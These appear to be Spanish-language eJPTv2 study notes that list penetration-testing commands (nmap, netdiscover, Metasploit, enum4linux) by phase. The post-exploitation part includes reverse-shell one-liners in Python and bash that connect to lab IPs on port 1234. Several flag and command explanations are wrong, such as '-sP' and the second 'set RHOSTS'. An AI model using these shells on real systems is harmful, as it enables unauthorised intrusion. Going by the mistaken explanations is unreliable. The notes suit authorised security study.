Reconocimiento (Reconnaissance):

Comando: ifconfig

Comando: netdiscover -r 10.0.2.0

netdiscover: Es una herramienta que sirve para realizar un escaneo hacia un segmento de red y obtener información del sistema y las direcciones IP que se manejan en este segmento.

Comando: nmap -sn 192.168.10.10/24

-sn: manda un ping a cada dispositivo para que responda en la red.

Comando: nmap -sP 192.168.10.10/24

-sP: Hace un barrido de toda la red y escanea cada uno de los host conectados sin hacer ping.

Recolección de Información (Information Gathering):

Comando: nmap -sC -sV -A 10.0.2.12

-sV: Esta bandera se utiliza para identificar la versión del servicio de cada puerto.

nmap -p- -Pn 10.0.2.12

-p-: Esta bandera se utiliza para especificar que se deben escanear todos los puertos en el rango de 1 a 65535. El guión indica que se deben escanear todos los puertos.

Esta práctica es poco recomendable porque a mayor cantidad de puertos mayor cantidad de peticiones y riesgo de ser detectado.

-Pn: Esta bandera se utiliza para indicar que nmap no debe realizar un escaneo de ping previo para determinar si el host objetivo está activo. Al desactivar esta opción, se puede escanear dispositivos que no responden a los pings.

Comando: nmap -sT 10.0.2.12

-sT: Esta bandera se utiliza para analizar solo los puertos TCP.

Comando: nmap -sU 10.0.2.12

-sU: Esta bandera se utiliza para analizar solo los puertos UDP.

comando -h: se utiliza para mostrar el menú de ayuda de la herramienta.

Usando nmap desde Metasploit:

Comando: msfdb start

iniciar la base de datos de Metasploit.

Comando: msfdb init

inicializar la base de datos de Metasploit.

Comando: msfdb status

ver el estado de la base de datos de Metasploit.

Comando: msfconsole

ejecutar el Framework de Metasploit.

Comando: db_nmap 10.0.2.12/24

Al igual que **netdiscover**, realiza un escaneo de red a todas las direcciones IP de la segmentación.

Comando: services

Muestra todos los servicios que se están manejando y sus correspondientes direcciones IP.

Detección de Vulnerabilidades (Vulnerability Detection):

Comando: dirb http://10.0.2.12

Desde Metasploit:

Comando: search scanner portscan

search: sirve para buscar exploits, auxiliares, payloads para poder buscar, explotar o post-explotar una vulnerabilidad.

auxiliar: auxiliary/scanner/portscan/tcp
sirve para verificar qué puertos están abiertos dentro de una IP o segmento de red sin usar nmap.

Comando: show options

Muestra las opciones que pide el auxiliar que estemos usando.

Comando: set RHOSTS

para cambiar la IP del target.

Comando: set RHOSTS

para cambiar la IP del atacante

Comando: run

para ejecutar el auxiliar o el exploit.

Comando: search port:445

Busca exploit para vulnerabilidades de un puerto específico.

Comando: nmap 10.0.2.8 --script vuln -p445

Busca vulnerabilidades compatibles con un puerto específico.

Comando: search cve:CVE-2017-0143

Busca exploits compatibles con la vulnerabilidad indicada en forma de CVE.

Comando: search autoroute

Lista las diferentes subredes que se manejan en una máquina permitiendo crear una sesión mediante esa máquina.

Comando: search ping_sw

Identificar las direcciones IP dentro de la segmentación de red que hallamos establecido.

Comando: search portscan

Encontrar los puertos abiertos de la máquina víctima.

Explotación (Exploitation):

Comando: enum4linux 10.0.2.12

Post-Explotación (Post-Exploitation):

Comando: uname -a

Comando: id

Comando: sudo python -c ‘import pty; pty.spawn(“/bin/bash”)’

obtiene una shell más dinámica. Se ejecuta **localmente** en la máquina donde se ejecuta el comando Python.

Comando: sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0,1,2]})'
Parecido pero para Node.

Comando: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Establece una conexión de red a una dirección IP y puerto específicos.

Comando: bash -i >& /dev/tcp/10.0.2.15/1234 0>&1

utiliza directamente el intérprete de comandos Bash.

Comando: route

Muestra las direcciones IP que se están manejando en un sistema windows con sus correspondientes máscaras de red, gateway, la métrica que se maneja y la interfaz de red en la que se encuentran.

Comando: ip route

Muestra las direcciones IP que se están manejando en un sistema Linux con sus correspondientes máscaras de red, gateway, la métrica que se maneja y la interfaz de red en la que se encuentran.

Comando: CTRL + Z

Permite cerrar la shell de meterpreter.

Pivoting:

Comando: search ping_sw

Se trata de una herramienta similar a nmap dentro de Metasploit y sirve para identificar los diferentes host y sus direcciones que se manejan en la segmentación diferente a la original, es decir, que si estamos en una segmentación y lanzamos a otra segmentación diferente podemos mandar una búsqueda de cuáles son las direcciones que se están manejando.

Para más sobre pivoting consultar:

https://github.com/pabloalvarezaraya4/Road-to-eJPTv2/blob/main/Practica%20de%20Pivoting.pdf